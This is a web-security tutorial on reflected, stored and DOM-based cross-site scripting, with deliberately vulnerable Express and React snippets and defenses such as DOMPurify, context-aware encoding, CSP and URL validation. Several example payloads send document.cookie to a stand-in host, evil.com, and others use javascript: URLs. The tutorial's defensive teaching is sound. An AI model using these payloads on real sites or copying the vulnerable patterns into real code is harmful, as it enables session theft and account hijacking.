XSS: Reflected, Stored, and DOM-Based
The Attack That Refuses to Die
Cross-Site Scripting (XSS) has been in the OWASP Top 10 for over two decades. It was a problem in 2003, and it's still a problem today. Why? Because at its core, XSS exploits the most fundamental thing browsers do: execute JavaScript.
Here's the one-sentence version: XSS is when an attacker injects malicious scripts into a web page that other users view. The browser can't tell the difference between your legitimate code and the attacker's injected code. It just runs everything.
Imagine you're at a restaurant. You write your order on a slip of paper. The waiter takes it to the kitchen, no questions asked. Now imagine someone slips an extra instruction onto your order: "Also, give me the contents of the cash register." The kitchen can't tell which instructions are legitimate and which aren't — it just executes everything on the paper. That's XSS. The browser is the kitchen. Your HTML is the order slip. The attacker is the person adding extra instructions.
What Makes XSS Dangerous
This isn't a theoretical concern. When an attacker successfully injects a script into your page, they can:
- Steal session cookies and hijack user accounts
- Read sensitive data from the DOM (credit card numbers, personal info)
- Perform actions on behalf of the user (transfer money, change passwords)
- Redirect users to phishing sites
- Install keyloggers that capture every keystroke
- Deface the page to destroy trust in your brand
The damage depends on what the page has access to. If the user is an admin, the attacker becomes an admin.
The Three Types of XSS
Every XSS attack falls into one of three categories based on where the malicious payload enters and how it reaches the browser. Understanding the differences is essential because each type requires a different defense strategy.
| Reflected | Stored | DOM-Based | |
|---|---|---|---|
| Payload source | URL parameters or form input | Database or server storage | Client-side JavaScript |
| Server involved? | Yes — reflects input in response | Yes — serves stored payload | No — purely client-side |
| Persistence | Single request (non-persistent) | Permanent until removed (persistent) | Single request (non-persistent) |
| Delivery method | Malicious link sent to victim | Victim visits the page normally | Malicious link with fragment/params |
| Server sees payload? | Yes — in the request | Yes — in the database | Not necessarily (fragment identifiers) |
| Typical target | Search pages, error messages | Comments, profiles, forums | SPAs, client-side routing |
Reflected XSS — The One-Click Attack
Reflected XSS is the most common type. The payload travels through the URL, hits the server, and the server reflects it back in the HTML response without sanitizing it.
Here's a vulnerable search page:
// Server-side (Express) — VULNERABLE
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`
<h1>Search results for: ${query}</h1>
<p>No results found.</p>
`);
});
If a user visits /search?q=shoes, they see "Search results for: shoes." Normal.
But what if the attacker sends them this link?
/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
The server builds the HTML with the script tag embedded directly in the response. The browser sees valid HTML with a script tag and executes it. The attacker now has the user's cookies.
Why it's called "reflected": The server reflects the input right back at the user. The payload never gets stored anywhere — it lives in the URL and exists only for that single request.
The catch: The attacker needs to trick the victim into clicking the malicious link. This typically happens through phishing emails, social media messages, or shortened URLs that hide the payload.
Stored XSS — The Silent Bomb
Stored XSS (also called persistent XSS) is the most dangerous type because the payload is saved to the server and served to every user who views the affected page. No special link required — victims just visit the page normally.
Classic scenario: a comment section.
// Server-side — VULNERABLE
app.post('/comments', (req, res) => {
db.comments.insert({
text: req.body.comment,
author: req.user.name
});
res.redirect('/post/123');
});
app.get('/post/:id', (req, res) => {
const comments = db.comments.find({ postId: req.params.id });
const html = comments.map(c =>
`<div class="comment">
<strong>${c.author}</strong>
<p>${c.text}</p>
</div>`
).join('');
res.send(renderPage(html));
});
The attacker submits this as a comment:
Great article! <script>new Image().src='https://evil.com/steal?c='+document.cookie</script>
That script tag is now stored in the database. Every single user who opens that post will unknowingly execute the attacker's script. The attacker doesn't need to send anyone a link. They just wait.
Why stored XSS is the most dangerous:
- It affects every user who views the page, not just one person clicking a link
- The payload persists until someone manually removes it from the database
- It can spread — if the payload modifies the page to inject itself into other forms, it becomes a worm
The Samy worm (2005) exploited stored XSS on MySpace. It added "Samy is my hero" to every profile it infected and made the viewer send Samy a friend request. It infected over one million profiles in under 20 hours.
DOM-Based XSS — The Invisible One
DOM-based XSS is different from the other two in one critical way: the server is never involved. The vulnerability lives entirely in client-side JavaScript that reads untrusted data (typically from the URL) and writes it into the DOM without sanitization.
// Client-side JavaScript — VULNERABLE
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
document.getElementById('greeting').innerHTML =
`Welcome back, ${name}!`;
The attacker crafts this URL:
https://example.com/dashboard?name=<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
The page's JavaScript reads the name parameter and shoves it into the DOM via innerHTML. The browser parses the injected img tag, fails to load the src, triggers the onerror handler, and the attacker's code executes.
Why DOM-based XSS is tricky to detect:
- The payload might live in the URL fragment (
#), which is never sent to the server - Server-side security scanners won't catch it because the server never sees the payload
- WAFs (Web Application Firewalls) are blind to it
- It's a purely client-side bug that requires client-side code review to find
Common sinks (dangerous DOM APIs) that cause DOM-based XSS:
element.innerHTML— parses and executes HTML, including script-like constructselement.outerHTML— same as innerHTML but replaces the element itselfdocument.write()— writes directly to the document streameval()— executes arbitrary strings as JavaScriptsetTimeout(string)/setInterval(string)— when passed a string, they act like evallocation.href = userInput— if the input isjavascript:..., it executes
Common sources (where untrusted data comes from):
window.location(href, search, hash, pathname)document.referrerdocument.cookiewindow.namepostMessagedata
How React Protects You (and When It Doesn't)
If you're building with React, you have a significant advantage: JSX auto-escapes everything by default.
function SearchResults({ query }) {
// React auto-escapes the query — safe!
return <h1>Search results for: {query}</h1>;
}
Even if query contains <script>alert('xss')</script>, React converts the angle brackets to their HTML entity equivalents (<script>). The browser renders the text literally instead of parsing it as HTML. This single behavior prevents the vast majority of XSS attacks in React applications.
But React has escape hatches, and they're exactly where XSS creeps back in:
dangerouslySetInnerHTML
The name is a warning. When you use dangerouslySetInnerHTML, you're telling React to skip escaping and insert raw HTML.
// VULNERABLE — never do this with user input
function Comment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// Attacker submits: <img src=x onerror="alert('pwned')">
// React inserts it as raw HTML. Game over.
javascript: URLs in href
React does not block javascript: protocol URLs. If you render user-provided URLs without validation, an attacker can execute code when the link is clicked:
// VULNERABLE
function UserProfile({ website }) {
return <a href={website}>Visit website</a>;
}
// Attacker sets website to: javascript:alert(document.cookie)
// Clicking the link executes the script
Third-party libraries that bypass React
Libraries that directly manipulate the DOM (using innerHTML, insertAdjacentHTML, or similar) bypass React's escaping entirely. If those libraries accept user input, you're vulnerable.
Defense in Depth: Sanitization
Auto-escaping is great, but sometimes you need to render HTML — rich text editors, markdown rendering, CMS content. When you must render raw HTML, sanitize it first.
DOMPurify is the gold standard for client-side HTML sanitization:
import DOMPurify from 'dompurify';
const dirty = '<img src=x onerror="alert(1)"><b>Hello</b>';
const clean = DOMPurify.sanitize(dirty);
// Result: '<b>Hello</b>'
// The img with onerror is stripped. The safe b tag is kept.
DOMPurify uses an allowlist approach: it knows which tags and attributes are safe and strips everything else. It handles edge cases you'd never think of — mutation XSS, parser differentials between browsers, and encoding tricks that bypass naive regex-based sanitizers.
function RichContent({ html }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'target', 'rel']
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Never build your own sanitizer. It's one of those problems that looks simple on the surface but has hundreds of edge cases. Regex-based sanitizers are particularly dangerous because they can be bypassed with encoding tricks, capitalization variations, null bytes, and parser quirks.
You might think stripping out script tags is enough. It's not even close. Attackers have dozens of ways to execute JavaScript without a script tag: onerror on img tags, onload on body/iframe tags, onfocus on input tags with autofocus, CSS expression() (older IE), SVG onload, javascript: URLs, data URIs, and more. That's why you need a proper sanitizer like DOMPurify that handles all of these vectors.
Defense in Depth: Output Encoding
Output encoding (also called escaping) means converting special characters to their safe equivalents based on the context where the data appears. Different contexts require different encoding:
HTML context — convert <, >, &, ", ' to HTML entities:
Input: <script>alert(1)</script>
Output: <script>alert(1)</script>
JavaScript context — if you're embedding data inside a script tag, JSON-encode it:
<!-- WRONG — vulnerable -->
<script>const user = "USER_INPUT_HERE";</script>
<!-- RIGHT — JSON.stringify escapes special characters -->
<script>const user = {"name":"O'Brien","bio":"<script>nope</script>"};</script>
URL context — use encodeURIComponent() for URL parameters:
const safeUrl = `/search?q=${encodeURIComponent(userInput)}`;
CSS context — avoid inserting user input into CSS entirely. If you must, use CSS.escape():
element.style.backgroundImage = `url("${CSS.escape(userInput)}")`;
The key insight: encoding is context-dependent. HTML encoding in a JavaScript context won't protect you. URL encoding in an HTML context won't protect you. Always encode for the specific context where the data will be used.
Defense in Depth: Content Security Policy
Content Security Policy (CSP) is your last line of defense. Even if an attacker manages to inject a script, a properly configured CSP can prevent it from executing.
CSP works by telling the browser which sources of content are allowed to load and execute. It's delivered via HTTP header:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' https:;
This policy says:
- Only load scripts from our own origin (
'self') — no inline scripts, no external scripts - Only load styles from our origin (with inline styles allowed for now)
- Only load images from our origin or any HTTPS source
The critical directive for XSS is script-src. Setting it to 'self' blocks all inline scripts and eval(). Even if an attacker injects <script>alert(1)</script>, the browser refuses to execute it because inline scripts aren't in the allowlist.
For applications that need inline scripts (analytics, etc.), use nonces:
Content-Security-Policy: script-src 'self' 'nonce-a1b2c3d4'
<!-- This runs — it has the correct nonce -->
<script nonce="a1b2c3d4">analytics.init();</script>
<!-- This is blocked — no nonce or wrong nonce -->
<script>alert('xss')</script>
The nonce must be a cryptographically random value regenerated on every request. The attacker can't predict it, so they can't add it to their injected scripts.
CSP is defense-in-depth, not a replacement for proper escaping and sanitization. Think of it as the seatbelt — you still need to drive safely, but if something goes wrong, it limits the damage. A strict CSP with no unsafe-inline and no unsafe-eval eliminates most XSS impact even when your escaping has a gap.
Putting It All Together
Here's the full defense stack, from innermost to outermost:
URL Validation — The Forgotten Vector
One pattern that catches teams off guard: user-provided URLs. Even with React's JSX escaping, a javascript: URL in an href prop will execute when clicked.
function validateUrl(url) {
try {
const parsed = new URL(url);
return ['http:', 'https:'].includes(parsed.protocol)
? url
: '#';
} catch {
return '#';
}
}
function SafeLink({ url, children }) {
return <a href={validateUrl(url)}>{children}</a>;
}
Always validate that user-provided URLs use http: or https: protocol. Reject javascript:, data:, vbscript:, and anything else.
Common Mistakes
| What developers do | What they should do |
|---|---|
| Stripping script tags with regex and calling it sanitized Attackers have dozens of ways to execute JavaScript without script tags. Regex-based sanitizers miss onerror, onload, javascript: URLs, data URIs, SVG payloads, and countless encoding bypasses. | Use DOMPurify which handles all XSS vectors including event handlers, SVG, mutation XSS, and encoding tricks |
| Using dangerouslySetInnerHTML with user-provided content without sanitization dangerouslySetInnerHTML bypasses React's auto-escaping entirely. Any HTML injected through it is parsed and executed by the browser, including event handlers and script-equivalent constructs. | Always pass content through DOMPurify.sanitize() before using dangerouslySetInnerHTML |
| Assuming CSP alone prevents XSS CSP is a mitigation layer, not a prevention layer. Misconfigured CSPs with unsafe-inline or overly broad allowlists provide little protection. And CSP can't prevent DOM manipulation attacks that don't involve script execution. | Use CSP as defense-in-depth on top of proper escaping and sanitization |
| Rendering user-provided URLs in href without protocol validation React does not block javascript: protocol in href props. A link with href set to javascript:maliciousCode() executes that code when clicked, even in a React app with JSX escaping. | Validate that URLs use http: or https: protocol before rendering |
| Only defending against script tag injection and ignoring other contexts XSS vectors vary by context. An HTML entity escape that stops a script tag in HTML context does nothing when the data ends up inside a JavaScript string literal or a URL parameter. | Apply context-appropriate encoding for HTML, JavaScript, URL, and CSS contexts |
Key Rules
- 1Never trust user input — treat all data from URLs, forms, APIs, and databases as potentially malicious
- 2Use your framework's built-in escaping (JSX curly braces in React) as the default, and never bypass it without sanitization
- 3Sanitize with DOMPurify whenever you must render raw HTML — never use regex-based sanitizers
- 4Validate URL protocols before rendering user-provided links — only allow http: and https:
- 5Deploy a strict Content Security Policy with no unsafe-inline and no unsafe-eval as defense-in-depth
- 6Encode output based on context — HTML entities for HTML, JSON.stringify for JavaScript, encodeURIComponent for URLs
- 7Set the HttpOnly flag on session cookies so JavaScript cannot read them even if XSS succeeds
- 8Audit third-party libraries that manipulate the DOM directly — they bypass React's escaping